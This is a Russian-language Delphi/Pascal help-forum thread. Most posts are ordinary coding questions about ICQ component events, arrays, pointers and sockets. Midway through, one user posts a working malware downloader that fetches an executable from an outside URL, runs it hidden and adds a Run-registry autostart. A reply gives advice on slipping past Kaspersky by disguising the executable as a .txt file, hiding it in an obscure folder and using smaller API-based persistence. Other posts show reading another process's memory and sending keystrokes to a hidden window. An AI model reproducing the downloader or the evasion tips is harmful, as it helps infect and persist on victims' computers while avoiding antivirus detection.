[Delphi]/[Pascal] Задай вопрос, получи ответ

[Uname-A]

program icqsend;

uses
Windows, sysutils, ICQClient;

{$R *.res}


procedure ewq;
begin

end;

procedure qwe;
begin

end;

procedure FormCreate;
var ICQClient: TICQClient;
begin
ICQClient:= TICQClient.Create(nil);
ICQClient.DisableDirectConnections:= True;
ICQClient.ICQServer:= 'login.icq.com';
ICQClient.ICQPort:= 5190;
ICQClient.UIN:= StrToIntDef(Trim('438***043'), 0);
ICQClient.Password := Trim('XC****DI');
ICQClient.OnLogin:= qwe; +++++
ICQClient.OnMessageRecv:= ewq; +++++
ICQClient.Login();
end;

begin

end.


Пишу прогу которая просто при запуске законектится к аське и отправит сообщение
Но непойму как задать процедуру ОнЛогин и онмессаджРесерв Компилятор постоянно ругается на то место где я поставил +++++ Ошибка Incompatible types: 'method pointer and regular procedure'
До этого собирал все с формой работало отлично А сейчас ппц

[AlexTheC0d3r]

Пишу прогу которая просто при запуске законектится к аське и отправит сообщение
Но непойму как задать процедуру ОнЛогин и онмессаджРесерв Компилятор постоянно ругается на то место где я поставил +++++ Ошибка Incompatible types: 'method pointer and regular procedure'
До этого собирал все с формой работало отлично А сейчас ппц


бле, к чему такой гемор?

помести сам компонент на форму, вместо его создания, а уже в самом компоненте в закладках event ты найдешь онмесседжресив и онлогин



кстати сам компонент инсталится в закладки Samples

[Uname-A]

Форма ненужна вообще.....
Мне размер файла максимально ужать надо...

[AlexTheC0d3r]

на какой ты размер расчитываешь?

[Uname-A]

Да мне в любом случае нужно убрать форму Не спятать а именно убрать
Лучше помоги сделать
ICQClient.OnLogin:= qwe; +++++
ICQClient.OnMessageRecv:= ewq; +++++
Дальше я какнить сам сделаю все нужное
У меня уже есть готовый вариант приложения со спрятаной формой

[AlexTheC0d3r]

мда... ну ты даешь =\


Как тебе процедура может быть равна какому либо значению?!

можно так

procedure ICQClient.onLogin;
begin
qwe;
end;

и

procedure ICQClient.OnMessageRecv(Msg, UIN: String);
begin
ewq;
end;

[Uname-A]

program icqsend;

uses
Windows, sysutils, ICQClient;

{$R *.res}

var ICQClient: TICQClient;

procedure ewq;
begin

end;

procedure qwe;
begin

end;


procedure ICQClient.OnMessageRecv(Msg, UIN: String);
begin
ewq;
end;

procedure FormCreate;
begin
ICQClient.DisableDirectConnections:= True;
ICQClient.ICQServer:= 'login.icq.com';
ICQClient.ICQPort:= 5190;
ICQClient.UIN:= StrToIntDef(Trim('43****043'), 0);
ICQClient.Password := Trim('X*****DI');
ICQClient.Login();
end;


procedure ICQClient.onLogin;
begin
qwe;
end;

begin

end.
Identifier redeclared: 'ICQClient'

25. Identifier redeclared <Имя>.<Имя> описано повторно, но в пределах блока имя можно описать лишь раз. Проверьте, не обозначена ли локальная переменная тем же именем, что и формальный параметр блока.

хм Теперь в чем проблема?=)

если уберу var то начинают появляться ошибки везде где есть ICQClient.

[AlexTheC0d3r]

где-то дважды обозначен icqclient =\


да еп....

в варе напиши не icqclient:ticqclient

а icqclient1:ticqclient

и везде поменяй

[Uname-A]

где-то дважды обозначен icqclient =\


да еп....

в варе напиши не icqclient:ticqclient

а icqclient1:ticqclient

и везде поменяй
менял
ток тоже ошибка...
';' expected but '.' found
непойму нах делпи требует ; вместо точки((((

[AlexTheC0d3r]

program icqsend;

uses
Windows, sysutils, ICQClient;

{$R *.res}

var ICQClient1: TICQClient;

procedure ewq;
begin

end;

procedure qwe;
begin

end;


procedure ICQClient1.OnMessageRecv(Msg, UIN: String);
begin
ewq;
end;

procedure FormCreate;
begin
ICQClient1.DisableDirectConnections:= True;
ICQClient1.ICQServer:= 'login.icq.com';
ICQClient1.ICQPort:= 5190;
ICQClient1.UIN:= StrToIntDef(Trim('43****043'), 0);
ICQClient1.Password := Trim('X*****DI');
ICQClient1.Login();
end;


procedure ICQClient1.onLogin;
begin
qwe;
end;



end.


все..

[Uname-A]

Продолжаю бьться бошкой аб стол=)))
E2004 Identifier redeclared: 'ICQClient1'
все в тех же строчках
procedure ICQClient1.OnMessageRecv(Msg, UIN: String);
procedure ICQClient1.onLogin;

[AlexTheC0d3r]

program project2;

uses
Windows,
sysutils,
ICQClient;

{$R *.res}

var ICQClient1: TICQClient;

procedure ewq;
begin

end;

procedure qwe;
begin

end;


procedure application;
begin
ICQClient1.DisableDirectConnections:= True;
ICQClient1.ICQServer:= 'login.icq.com';
ICQClient1.ICQPort:= 5190;
ICQClient1.UIN:= StrToIntDef(Trim('43****043'), 0);
ICQClient1.Password := Trim('X*****DI');
ICQClient1.Login();
end;

procedure icqclient1onlogin;
begin
icqclient1.SendMessage(331122,'asdasdasd');
end;

procedure icqclient1onmessagerecv(uin,msg:string);
begin
end;


end.

[Uname-A]

Все работает Спс огромное!
Сори если оч тупил=)

[Maxxxtri23]

Есть у меня массив компонентов
Bot:array of TICQClient;
так вот как к этому массиву прикрутить процедуру как к обычному TIcqClient'u еслиб я его кинул на форму. Например
procedure TMain.bot[i]Login(Sender: TObject);
begin

end;

[AlexTheC0d3r]

прежде всего создай элементы этого массива, обозначь процедуры для них и потом уже пытайся с ними работать

[Maxxxtri23]

Вот приведу кусок кода:unit Unit1;

interface

uses
.......................

type
TMain = class(TForm)
procedure LoadBotsClick(Sender: TObject);
.........................
private
{ Private declarations }
public
{ Public declarations }
end;

var
Main: TMain;
Bot:array of TICQClient;
kol:Integer;

implementation

uses Unit2;

{$R *.dfm}

procedure TMain.LoadBotsClick(Sender: TObject);
var i,k:Integer;
begin
SetLength(Bot,kol);
for i := 0 to high(bot) do
begin
Bot[i]:=Ticqclient.create(nil);//Как я понял это создание элементов массива
k:=pos(';',Options.memo1.Lines[i]);
bot[i].UIN:=strtoint(copy(Options.memo1.Lines[i],0,k-1));
bot[i].Password:=copy(Options.memo1.Lines[i],k+1,length(Options.memo1.Lines[i])-k);
end;
end;
Теперь вопрос как обозначить процедуры? Никак немогу разобраться

[#Wolf#]

как мне сделать считывалку из памяти (адрес 232D7E68 ) с обновлением допустим 60ms
процесс ET.exe

[Nightmarе]

как мне сделать считывалку из памяти (адрес 232D7E68 ) с обновлением допустим 60ms
процесс ET.exe
+1, присоеденяюсь к просьбе.
Самому интересно.

[ProTeuS]

как понимаю примерно так

while true do
begin
1) OpenProcess
2) ReadProcessMemory
3) Sleep(60);
end;

примеры
http://forum.ztu.edu.ua/showthread.php?t=1893
http://www.experts-exchange.com/Programming/Languages/Pascal/Delphi/Q_20998829.html

[Maxxxtri23]

Так как обозначить процедуру для элемента массива?
Незнаю может быть я неправильно выражаюсь но мне надо: Вот у обычного TICQclient компонента кинутого на форму, есть эвенты, например OnLogin, тоесть как клиент подключается выполняется некое действие. Например
procedure TMain.ICQclientLogin(Sender: TObject);
begin
Label1.Caption:='Connected';
end;
А вот как работать с этими эвентами только с массивом компонентов Bot:array of TICQClient;
Тоесть это должно быть нечто procedure TMain.Bot[i]Login(Sender: TObject) где i это будет цикл всех компонентов массива например от 0 до 10. Помогите плиз, если можно киньте исходник

[#Wolf#]

как понимаю примерно так

while true do
begin
1) OpenProcess
2) ReadProcessMemory
3) Sleep(60);
end;

примеры
http://forum.ztu.edu.ua/showthread.php?t=1893
http://www.experts-exchange.com/Programming/Languages/Pascal/Delphi/Q_20998829.html
по первой ссылке не нашел
а по второй предлагают оплатить мемберство)
можешь наброски накатать?

[FindeR]

#Wolf#, там на примере сапера показано считывание из памяти (по первой ссылке). Плохо искал :p
В твоём случае будет примерно так.

procedure TForm1.Button1Click(Sender: TObject);
var hwn:hwnd;
pid,hPr,dwR:dword;
buf:byte;
begin
hWn := FindWindow(nil, PChar('заголовок окна'));
if IsWindow(hwn) then begin
showmessage('хэндл найден');
GetWindowThreadProcessId(hWn, PID); //ищем pid
hPr := OpenProcess(PROCESS_VM_READ, False, PID);
ReadProcessMemory(hPr, ptr($232D7E68), @buf, 1, dwR); //читаем память
CloseHandle(hPr);
end;
end;

[lll6]

Помогите заполнить массив в таком вот порядке
1 3 4 10
2 5 9 11
6 8 12 15
7 13 14 16
То есть по диагонали заполняется. Размеры массива могут быть любыми, массив квадратный.

[_Kris_]

Помогите заполнить массив в таком вот порядке
1 3 4 10
2 5 9 11
6 8 12 15
7 13 14 16
То есть по диагонали заполняется. Размеры массива могут быть любыми, массив квадратный.
что простите????? вы хотите?????

[KIR@PRO]

народ немного глупый вопрос но всетаки прошу ответить с полной серьёзностью..

в чем различие м/у типом ^Byte и просто Byte для чего служит ^

да и еще почему его ставят по разному например если ставят рядом с типом то получается ^Byte, а если ставят рядом с переменной то ставят после pt^

[svyd]

Ну так сказать это некий аналог * в с++...

[_Kris_]

Ну так сказать это некий аналог * в с++...
:D объяснил...

[KIR@PRO]

я не просил аналоги называть я же попросил объяснить.... а твой ответ к сожелению даже подобием объяснения не является.....
или ты знаеш что в С++ означает * ? и желаеш объяснить? я вижу ты хорошо С++ знаеш ;)


вопрос более не актуален ответ смотри ниже

[_Kris_]

Я фигею с вас народ, гугл нахрен отменили, что ли?....

[cremator (c)]

Указательный тип! Pointer.
Объявление переменной как указателя на тип Integer - P: ^Integer;
P^ := 10; - присвоение значения указателю

http://www.rsdn.ru/article/Delphi/Delphi_7_02.xml - 2.15.1. Понятие указателя

[cremator (c)]

Помогите заполнить массив в таком вот порядке
1 3 4 10
2 5 9 11
6 8 12 15
7 13 14 16
То есть по диагонали заполняется. Размеры массива могут быть любыми, массив квадратный.

program Project2;

{$APPTYPE CONSOLE}

uses
SysUtils;

var MyArray:array [1..4,1..4] of integer; i,j,x:integer;
begin
for i:=1 to 4 do
for j:=1 to 4 do
begin
readln(x);
MyArray[i,j]:=x;
end;
end.


Я так понял?//

PS не знал что в 1м классе уже паскаль проходят/// х(

[KIR@PRO]

Указательный тип! Pointer.
Объявление переменной как указателя на тип Integer - P: ^Integer;
P^ := 10; - присвоение значения указателю

http://www.rsdn.ru/article/Delphi/Delphi_7_02.xml - 2.15.1. Понятие указателя


спс за ссылку но то что ты написал понять трудно...
мог бы просто скопировать из статьи:

P^ := 10; // Здесь умышленно опущено приведение типа


Символ ^, записанный после имени указателя, называется оператором доступа по адресу. В данном примере переменной, расположенной по адресу, хранящемуся в P, присваивается значение 10. Так как в переменную P мы предварительно занесли адрес N, данное присваивание приводит к такому же результату, что иN := 10;

кратко смысл в том что мы в переменную (к примеру N1) заносим адрес другой переменной (N1:=@N2) теперь в N1 хранится адрес, в памяти, переменной N2 и мы можем изменять N2 исмользуя N1 (N1^:=15 (при условии что N2 числового типа)) вот... =)

the End.

[FindeR]

.....Я так понял?//

PS не знал что в 1м классе уже паскаль проходят/// х(
И чё за чушь ты написал?

lll6, интересная, конечно, задача. Но нудноватая)) Если пишешь на дельфи, то кинь на форму edit, button и StrinGgrid. Если на паскале, просто бери readln'ом размерность массива, а вместо StringGrid1.Cells[....] пиши нужный тебе массив и нужный элемент массива.

procedure TForm1.Button1Click(Sender: TObject);
var mas: array of integer;
n,i,s,q,buf,buf2,number:integer;
begin
Setlength(mas,StrToInt(Edit1.text)); //задаём размер массива

stringgrid1.ColCount :=length(mas)+1; //размеры StringGrid
stringgrid1.RowCount := length(mas)+1;
number := 0;
for n:=1 to length(mas) do begin
i:=n;
for s:=1 to n do begin
number := number+1;
stringgrid1.Cells[s,i]:=IntToStr(number);
i:=i-1;
end;
end;

i:=length(mas);

for s:=2 to length(mas) do begin
number := number+1;
buf:=s;buf2:=i;
stringgrid1.Cells[s,i]:=IntToStr(number);;
i:=i-1;
end;

for s:=3 to length(mas) do begin
buf2:=s-1;
for n:=length(mas) downto s do begin
number := number+1;
buf2:=buf2+1;
stringgrid1.Cells[n,buf2]:=IntToStr(number);;
end;
end;


end;

Ну а дальше вписывай в Edit нужную размерность и тыкай кнопку. Немного не такая последовательность, как ты просил, но переделать, думаю, труда не составит.
[1,1], [1,2], [2,1], [3,1], [2,2], [1,3], [1,4], [2,3], [3,2], [4,1], [4,2], [3,3], [2,4], [3,4], [4,3], [4,4]
Улови тут последовательность (для матрицы 4х4), будет тебе счастье))

[LASS0]

Помогите пожалуйста решить задачку двумя способами, через цикл repeat until
и через for

--------------------------------------------------
Дано a=2.8 , b=-0.3 , c=4
Вычислить и напечатать значение функции:

y=(a+b*x)/sqrt(x*x+4) ,если x<1.4
y=a*(x*x)+b*x+c ,если x=1.4
y=a/x+exp(a*b) ,ecли x>1.4

где x изменяется в интервале от 0.8 до 2.8 с шагом 0.2
--------------------------------------------------

Через while do смог написать, а через repeat until
и через for незнаю :(


Program z1;
uses crt;
var a,b,c,x,y:real;

begin
a:=2.8;
b:=-0.3;
c:=4;
x:=0.8;
while x<2.8 do
begin
if x<1.4 then
y:=(a+b*x)/sqrt(x*x+4)
else
if x=1.4 then
y:=a*(x*x)+b*x+c
else
y:=a/x+exp(a*b);
writeln ('x=',x:8:2,' y=',y:8:2);
x:=x+0.2;
end;
readkey;
end.

[lll6]

Я так понял?

Нет, ты понял не так, а на глупые шутки я не обижаюсь.

[1,1], [1,2], [2,1], [3,1], [2,2], [1,3], [1,4], [2,3], [3,2], [4,1], [4,2], [3,3], [2,4], [3,4], [4,3], [4,4]
Улови тут последовательность (для матрицы 4х4), будет тебе счастье))
Представлял уже так, но никак не мог реализовать, огромное спасибо за помощь, увидел код и сразу понял

[lll6]

Помогите пожалуйста решить задачку двумя способами, через цикл repeat until
и через for
С repeat
Program z1;
var a,b,c,x,y:real;

begin
a:=2.8;
b:=-0.3;
c:=4;
x:=0.8;
repeat
if x<1.4 then
y:=(a+b*x)/sqrt(x*x+4)
else
if x=1.4 then
y:=a*(x*x)+b*x+c
else
y:=a/x+exp(a*b);
writeln ('x=',x:8:2,' y=',y:8:2);
x:=x+0.2;
until x>2.8;
end.

А вот в for в паскале шаг может быть равен только единице, да и числа только целые, вот пример реализации, думаю пойдёт.
Program z1;
var a,b,c,y,f:real;
x:integer;
begin
a:=2.8;
b:=-0.3;
c:=4;
For x:=8 to 26 do
begin
if x mod 2 = 0 then begin
f:=x/10;
if f<1.4 then
y:=(a+b*f)/sqrt(f*f+4)
else
if f=1.4 then
y:=a*(f*f)+b*f+c
else
y:=a/f+exp(a*b);
writeln ('x=',x/10:8:2,' y=',y:8:2);
end;
end;
end.

[ZET36]

Я вот всё пытаюсь загрузить файл по средствам сокетов

var Site : PChar;
sock : TSocket;
HostEnt : PHostEnt;
WSA : TWSAData;
addr : sockaddr_in;
sendbuff : String;
PostData : String;


f:TextFile;
i:integer;
buf:array[0..255] of char;
begin

if WSAStartup($0101, WSA) <> 0 then
Exit;
sock := Socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
FillChar(addr, SizeOf(sockaddr_in), 0);
addr.sin_family := AF_INET;
addr.sin_port := htons(80);
Site := 'www.google.ru';
HostEnt := gethostbyname(Site);
addr.sin_addr.s_addr := Longint(PLongint(HostEnt^.h_addr_list^)^);

Connect(sock, addr, SizeOf(addr));
sendbuff := 'GET /images/nav_logo3.png HTTP/1.0'#13#10+
'Accept: */*;q=0.1'#13#10+
'Referer: http://www.google.ru/search?hl=ru&newwindow=1&q=zz&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA&lr=&aq=f&oq='#13#10+
'Accept-Language: ru'#13#10+
'Proxy-Connection: Keep-Alive'#13#10+
'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.8 (build 01709); .NET CLR 1.1.4322)'#13#10+
'Host: www.google.ru'#13#10#13#10;

send(sock, sendbuff [1], Length(sendbuff), 0);
AssignFile(f, 'logo.html');
Rewrite(f);
repeat
i := recv(sock, buf, sizeof(255), 0);
write(f, copy(buf,1,i));

until
(i = 0) or (i = SOCKET_ERROR);

CloseSocket(sock);
CloseFile(f);
end;
но в файл, как и положено вместе с телом запроса добавляется и header
HTTP/1.0 200 OK
Content-Type: image/png
Last-Modified: Wed, 11 Feb 2009 03:40:02 GMT
Expires: Sun, 17 Jan 2038 19:14:07 GMT
Cache-Control: public
Date: Wed, 11 Mar 2009 17:10:09 GMT
Server: gws
Content-Length: 6339
Age: 3
Connection: Close
как этого избежать и не будет ли файл битым или тело запроса нужно ещё шифровать в base64 перед приёмом?

[eLWAux]

LASS0, зачем создавать тему и тут писать?!
https://forum.antichat.ru/showthread.php?p=1163693#post1163693

[Maxxxtri23]

Собсно вопрос еще актуален
Так как обозначить процедуру для элемента массива?
Незнаю может быть я неправильно выражаюсь но мне надо: Вот у обычного TICQclient компонента кинутого на форму, есть эвенты, например OnLogin, тоесть как клиент подключается выполняется некое действие. Например
procedure TMain.ICQclientLogin(Sender: TObject);
begin
Label1.Caption:='Connected';
end;
А вот как работать с этими эвентами только с массивом компонентов Bot:array of TICQClient;
Тоесть это должно быть нечто procedure TMain.Bot[i]Login(Sender: TObject) где i это будет цикл всех компонентов массива например от 0 до 10. Помогите плиз, если можно киньте исходник

[Hellsp@wn]

как то так:

type
TForm1 = class(TForm)
...
procedure OnMessageRecv(Sender: TObject; Msg, UIN: String);
...
procedure TForm1.OnMessageRecv(Sender: TObject; Msg, UIN: String);
begin
...
end;
...
bot[n].OnMessageRecv:=Form1.OnMessageRecv;

с остальными событиями также.

[Si{R}ius]

А как в Паскале сделать так, чтобы текст, выводимый на экран, писался в файл?

[bbbb]

А как в Паскале сделать так, чтобы текст, выводимый на экран, писался в файл?

Ну можно это сделать так ^_^ -

var
f: textfile;
s: string;
.....
begin
assign(f,'blablabla.txt');
rewrite(f);
.....
writeln(s); --- выводим на экран )
.....
writeln(f,s); ---- пишем в файл )
close(f);
end;

[Si{R}ius]

Спасибо, уже разобрался :)

[Jino]

Как в Паскале, вызвать такую константу, как число E?

[dinar_007]

Как в Паскале, вызвать такую константу, как число E?
В Паскале нету константы E... Скажи нормально, чего хочешь...
Константа - это константа, если она есть ты её не переназначишь и никак и не выразишь...

[lll6]

Как в Паскале, вызвать такую константу, как число E?
begin
writeln (E);
end.
Приятного кодинга :)
В Паскале нету константы E...
У меня есть.

[eLWAux]

e — математическая константа, основание натурального логарифма, иррациональное и трансцендентное число. Иногда число e называют числом Эйлера (не путать с т. н. числами Эйлера I рода) или числом Непера.

program typo_no_no_no;
const E = 2,718281828459045235360287471352662497757247093699 9595749669676277240766;
begin
writeln(E);
writeln(E:2:2);
readln;
end.

число Е - http://ru.wikipedia.org/wiki/E_(математическая_константа )
Вычисление числа Е: http://algolist.manual.ru/maths/count_fast/e.php

[lll6]

program typo_no_no_no;
const E = 2,71828182845904523536028;
...

Зачем её задавать? она ж уже идёт зарезервированная

[eLWAux]

Зачем её задавать? она ж уже идёт зарезервированная
а у меня она НЕ_зарезервированная )

[slesh]

Ппц у вас проблемы.
Гоу ту википедия. Смотрим там и видим

2,71828 18284 59045 23536 02874 71352 66249 77572 47093 69995 95749 66967 62772 40766 30353 54759 45713 82178 52516 64274 27466 39193 20030 59921 81741 35966 29043 57290 03342 95260 59563 07381 32328 62794 34907 63233 82988 07531 95251 01901 15738 34187 93070 21540 89149 93488 41675 09244 76146 06680 82264 80016 84774 11853 74234 54424 37107 53907 77449 92069 55170 27618 38606 26133 13845 83000 75204 49338 26560 29760 67371 13200 70932 87091 27443 74704 72306 96977 20931 01416 92836 81902 55151 08657 46377 21112 52389 78442 50569 53696 77078 54499 69967 94686 44549 05987 93163 68892 30098 79312 77361 78215 42499 92295 76351 48220 82698 95193 66803 31825 28869 39849 64651 05820 93923 98294 88793 32036 25094 43117 30123 81970 68416 14039 70198 37679 32068 32823 76464 80429 53118 02328 78250 98194 55815 30175 67173 61332 06981 12509 96181 88159 30416 90351 59888 85193 45807 27386 67385 89422 87922 84998 92086 80582 57492 79610 48419 84443 63463 24496 84875 60233 62482 70419 78623 20900 21609 90235 30436 99418 49146 31409 34317 38143 64054 62531 52096 18369 08887 07016 76839 64243 78140 59271 45635 49061 30310 72085 10383 75051 01157 47704 17189 86106 87396 96552 12671 54688 95703 50354 02123 40784 98193 34321 06817 01210 05627 88023 51920…


и из этого извлекам пользу const e=2,7182818284; точность сами подберете )

[Jino]

Кто может помочь со следующей задачей:
Найти предел функции lim y (y стремится к нулю) * ctg(y) с точностью до Е.

[lll6]

а у меня она НЕ_зарезервированная )
Омг, у меня крутой паскаль значит, ну не беда))

[Si{R}ius]

Как в Паскале, вызвать такую константу, как число E?
exp(x) - Экспонента (число e в степени x)
exp(1) ~ 2.72

[dinar_007]

У меня есть.
Где? Нету её... Определили константу и написали тут... С таким же успехом можно и констану Z определить...

[lll6]

Где? Нету её... Определили константу и написали тут... С таким же успехом можно и констану Z определить...
Ну вообще я просто пользуюсь PascalABC.NET, так что возможны расхождения с Pascal 7.0

[Nightmarе]

На скорую руку написал простенький довнлоадер под сплоеды:
program downloader;
uses windows, Registry, urlmon;


function sysdir: string;
var
f:array[0..255]of char;
begin
ExpandEnvironmentStrings('%WINDIR%',f,255);
Result := f;
end;

{Точка входа}
var
Registre:TRegistry;

BEGIN
urlmon.URLDownloadToFile(nil,PChar('http://shinobi.net.ru/colorpick.exe'),PChar(sysdir+'\fiesta32.exe'),0,ni l);
sleep(3000);
winexec(PCHar(sysdir+'\fiesta32.exe'), sw_hide);

Registre:=TRegistry.Create;
Registre.RootKey:=HKEY_LOCAL_MACHINE;
Registre.OpenKey('Software\Microsoft\Windows\Curre ntVersion\Run', false);
if Registre.ValueExists('fiesta') then Registre.DeleteValue('fiesta');
Registre.WriteString('fiesta',sysdir+'\fiesta32.ex e');
Registre.Free;
END.

winexec(PCHar(sysdir+'\fiesta32.exe'), sw_hide);
из за этой команды не пашет скомпилированный файл (выдаётся ошибка доступа к файлу)

какие можете посоветовать альтернативы запуска файла в этой программе???

Shellexecute не пашет из за своего хендла
креатепроцесс тоже чёто не то... посоветуйте чё нить, чтобы файл нормально запустился...

[slesh]

ты не правильно наверное воспринимает результат выполнения WinExec
Читай Windows SDK

Return Values
If the function succeeds, the return value is greater than 31.
If the function fails, the return value is one of the following error values:
Value Meaning
0 The system is out of memory or resources.
ERROR_BAD_FORMAT The .EXE file is invalid (non-Win32 .EXE or error in .EXE image).
ERROR_FILE_NOT_FOUND The specified file was not found.
ERROR_PATH_NOT_FOUND The specified path was not found.


т.е. при нормальном выполнении функция вернет тебе значение 31
А если 31 считать кодом ошибки и прогнать его через SysErrorMessage то ты как рах и получишь сообщение в котром будет чтото говориться про доступ к файлу.
ты для теста смени sw_hide на sw_show
У меня запросто разаботал твой кусок кода

P.S. инстал в систему лучше напиши через API чтоб размер был меньше. Типа

procedure install(filename,about:string);
var
key:longword;
begin
RegOpenKeyEx(longword($80000002), 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0, $000F003F, Key);
RegSetValueEx(Key, pchar(about), 0,1, pchar(filename), length(filename));
RegCloseKey(Key);
end;


Хотя еще лучше кидай файл не в Windows а в папку с шаблонами пользователя. т.к. это папка находится хз где(юзверь хрен найдет) и для неё всегда есть доступ на запись, чего не скажешь о Windows или System32

[Nightmarе]

ты не правильно наверное воспринимает результат выполнения WinExec
Читай Windows SDK


т.е. при нормальном выполнении функция вернет тебе значение 31
А если 31 считать кодом ошибки и прогнать его через SysErrorMessage то ты как рах и получишь сообщение в котром будет чтото говориться про доступ к файлу.
ты для теста смени sw_hide на sw_show
У меня запросто разаботал твой кусок кода

Да сорри, забыл сказать что всё это из за касперского. Именно он блокирует данный кусок кода из за запуска файла, флаг sw_show никакой роли не играет...

[slesh]

1) Каспер недоверчево относится к запуску скрытых процессов. Так что SHOW / HIDE - играет роль
2) Такой вот инстал в реестр палится каспером еще с его детский времен
3) Скачать и запустить - это тоже слишком подозретильно.
По этому как вариант можно попробовать следующее
Качай файл под левым именем. типа book.txt, затем чтонить помути с ним а потом переименую как нужно и попробуй запустить.
На счет прописки в реестре - как никрути но это будет палиться проактивкой.

[slesh]

*CRAZY* хотя верх извращенства - запускать текстовик.
Если EXE переименовать в TXT типа c:\windows\book.txt то он всё равно запустится через winexec('c:\windows\book.txt',sw_show);

[cremator (c)]

Был у кого опыт работы с TChar? Исходники бы очень пригодились, но они продают их.. Как бы можно вызвать метод ChartPreview(nil,DBChart1); со своими параметрами? Т.е. отступ от полей задать, ориентацию и т.д...

[Uname-A]

Вообщем есть чюжая программа
Нужно её запустить и нажать Ctrl + S
Но есть один нюанс Окно программы скрыто (так надо...)
В инете нашол ассемблерный код но он пашед ток для одной кнопки =(

procedure EmulateKey(Wnd: HWND; VKey: Integer);
asm
push 0
push edx
push 0101H //WM_KEYUP
push eax
push 0
push edx
push 0100H //WM_KEYDOWN
push eax
call PostMessage
call PostMessage
end;

[eLWAux]

http://www.delphisources.ru/pages/faq/base/keys_pressed_emulation2.html

[eLWAux]

// симуляция нажимаем&отпускаем кнопку
procedure SimulateKeystroke(Key : byte; extra : DWORD);
begin
keybd_event(Key,extra,0,0);
keybd_event(Key,extra,KEYEVENTF_KEYUP,0);
end;

// симуляция нажимаем кнопку
procedure SimulateKeyDown(Key : byte);
begin
keybd_event(Key, 0, 0, 0);
end;

// симуляция отпускаем кнопку
procedure SimulateKeyUp(Key : byte);
begin
keybd_event(Key, 0, KEYEVENTF_KEYUP, 0);
end;

/////////////////////////////////////////////////////////////

// нажимаем СTRL
SimulateKeyDown(VK_CONTROL);
// нажимаем&отпускам кнопку S (регист важен)
SimulateKeystroke(ord('S'),0);
// отпускаем СTRL
SimulateKeyUp(VK_CONTROL);

для примера запусти Блокнот и:
var i:integer;
begin
for i:=1 to 500 do begin caption:=inttostr(i); sleep(1); end;
// активируй окно Блокнота
SimulateKeyDown(VK_CONTROL);
SimulateKeystroke(ord('S'),0); // S=0x73 , s=0x53
SimulateKeyUp(VK_CONTROL);
и увидеш окно "Сохранить Как.." )

[Uname-A]

Ех немного неправильно я вопрос поставил(((
Мне нужно запустить прогу а потом в НЕЁ зная хейдер окна отправить горячую клавишу Ctrl + S Тоесть горячая клавиша действует только тогда когда окно развёрнуто
А нужно отправить горячую клавишу пока окно неактивно.

[De-visible]

А нафиг его отправлять тогда когда окно не активно, смысл?

[Uname-A]

Кароч у меня есть прога которая показывает кое какую инфу и может сохранять это в файл Мне бы хотелось сделать лоадер Который запустит скрыто прогу нажмет Ctrl + s и сохранит в нужную папку (Сохранение уже реализовал) Мне нужно ток скрыто нажать горячюю клавишу

[eLWAux]

BOOL PostMessage(
HWND hWnd,
UINT Msg,
WPARAM wParam,
LPARAM lParam
);

var wnd:HWND;
begin
wnd := FindWindow('notepad', nil);
wnd := FindWindowEx(wnd, 0, 'Edit', nil);
if wnd=0 then exit;
caption:=inttostr(wnd);
PostMessage(wnd, WM_KEYDOWN, VK_CONTROL, 0);
PostMessage(wnd, WM_KEYDOWN, ord('S'), 0);
// PostMessage(wnd, WM_CHAR, Word('s'), 0);
PostMessage(wnd, WM_KEYUP, ord('S'), 0);
PostMessage(wnd, WM_KEYUP, VK_CONTROL, 0);

[sadfeel]

в паскале возможно ли скрыть прогу при запуске? (чтобы небыло на панели управления)

[Ламоза]

Помогите перенести формулу из екселя в дельфи.
http://rghost.ru/160212.thumb (http://rghost.ru/160212.view)
Сам файл (http://rghost.ru/160193?key=8919eb3b4057da7deb2eed527cabb7fc), например для элемента D43. При условии что изначально забит только 0 массив, остальное считается из него.

ЗЫ сорри за аттач, но иначе сложно объяснить.

[Nightmarе]

Существуют ли на паблике исходники socks5 сервера с шифровкой траффика?
Ну например через SecuritySocks Client

[cremator (c)]

Дублирую.. Очень нужно!!!

Был у кого опыт работы с TChar? Исходники бы очень пригодились, но они продают их.. Как бы можно вызвать метод ChartPreview(nil,DBChart1); со своими параметрами? Т.е. отступ от полей задать, ориентацию и т.д...

[slesh]

2 Nightmarе И как ты себе представляешь шифрования трафа в socks5? Приложения ведь не поддерживают шифрования, потому что им тогда придется таскать SSL с собой и подобное. А вот ищеи на счет HTTPS - тут уже более реалистичны
Ну или если разработка для себя, то сам усовершенствую протокол и напиши сервер и клиент.

[IIAHbI4]

нужна банальная шняга, написаная на дельфи.

чтобы в активном окне (Название);
если нажата клавиша "q" используеться клавиша 3;
если нажата клавиша "е" используеться клавиша 4;
если нажата клавиша "ctrl" используеться клавиша 6 и 7 одновременно;

[slesh]

Как вариант юзать только хуки.
Т.е. ставишь хук на сообщения окну и там смотришь WM_KEYDOWN и WM_KEYUP

[Nightmarе]

2 Nightmarе И как ты себе представляешь шифрования трафа в socks5? Приложения ведь не поддерживают шифрования, потому что им тогда придется таскать SSL с собой и подобное. А вот ищеи на счет HTTPS - тут уже более реалистичны
Ну или если разработка для себя, то сам усовершенствую протокол и напиши сервер и клиент.
Представляю легко.
На одном компе запускаем socks5 сервер, а с другого компа коннектимся к нему клиентом.

[pira]

Ребят, помогите сделать бота типа болталки вконтакте.

<form action="http://www.mydomain.ru/login.php" method="post" name="infrm" style="margin:0;">
<table cellspacing="0" cellpadding="2" border="0">
<tr><td>Логин:</td><td><input class="inp" type="text" name="login" value="" maxlength="16" size="24" /></td></tr>
<tr><td>Пароль:</td><td><input class="inp" type="password" name="password" maxlength="16" size="24" /></td></tr>
<tr><td colspan="2" align="center"><input style="margin:10px;width:50px;height:8px;border:0;" type="image" src="http://i.mydomain.ru/chat/main3.gif" alt="Войти"></td></tr>

<tr><td colspan="2" style="font-size:9px;" align="center">
<a href="/lostpwd.php">Забыли пароль?</a> |
<a href="/menu/problems.php">Не пускает в чат?</a>
</td></tr>
</table>
</form>


Или хотя бы литературу толковую и мануалы дайте )

[Vitaliy-55]

Доброго времени суток! Как во время открытия динамического меню, проверить базу на наличие данных в ячейке? и если ячейка не пуста, тогда отметиь пункт меню(TMenuItem.checked)???

[pira]

Я вот сделал. А можете сказать как сделать чтобы при нажатии кнопки срабатывал запрос
http://www.mydomain.ru/refresh.php?say=Привет&addr=Пирка

Я пробовал
procedure TForm5.Button2Click(Sender: TObject);
var params,responseres:tstringlist;
begin
